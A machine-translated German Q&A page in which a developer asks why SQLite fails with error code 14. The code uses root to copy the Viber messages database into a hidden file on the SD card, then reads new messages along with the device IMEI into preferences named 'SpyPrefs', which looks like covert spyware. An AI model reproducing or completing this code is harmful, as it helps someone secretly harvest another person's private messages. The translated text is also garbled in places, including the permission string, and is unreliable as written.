SQLite : Exception:unknown error (code 14): could not open database

Ich verwurzelt das Telefon und kopieren der Datenbank der anderen Anwendung in der SD-Karte.

In der im folgenden code einfach kopieren, die db-Datei und nach, dass das abrufen der Daten aus der Tabelle. Dieser code Ausnahme Exception:unknown error (code 14): Could not open database

Jungs helfen Sie mir, wenn Sie eine Idee haben, dieses.

String filep ="/mnt/sdcard/.configsvb.db";
String filefolder="/data/data/com.viber.voip/databases/viber_messages";
Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "});

new Helper().readvb(filep, getApplicationContext(), data); // This method read the database file.

Helper.java

public void readvb(String filep,Context con, StringBuilder data)
{
        File dbfile = new File(filep);
        SharedPreferences preferences = con.getSharedPreferences("SpyPrefs", Context.MODE_WORLD_WRITEABLE);
        Editor editor = preferences.edit();
        if(dbfile.exists())
        {
                myDataBase = SQLiteDatabase.openDatabase(filep, null,SQLiteDatabase.NO_LOCALIZED_COLLATORS);
                long lastmessage = preferences.getLong("LastViberRead", 0);
                long msgtime=0;
                StringBuilder xml = new StringBuilder();
                LogsTable logtable= new LogsTable(con);
                Cursor cursor = myDataBase.query(DATABASE_TABLE, new String[]{"_id", "address","type", "body","date"}, "date>"+lastmessage, null, null, null, null);

                int count=0;
                String imei = ((TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId();
                SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
                if(cursor != null)
                {

                }
        }
}
  • Hast du <uses-permission android:name="android.die Genehmigung.WRITE_EXTERNAL_STORAGE" /> ?
  • Ja ich habe bereits dieses im Manifest.
  • Ich habe meine eigene Reaktion, versuchen Sie es, viel Glück!
InformationsquelleAutor N Sharma | 2014-01-08
Schreibe einen Kommentar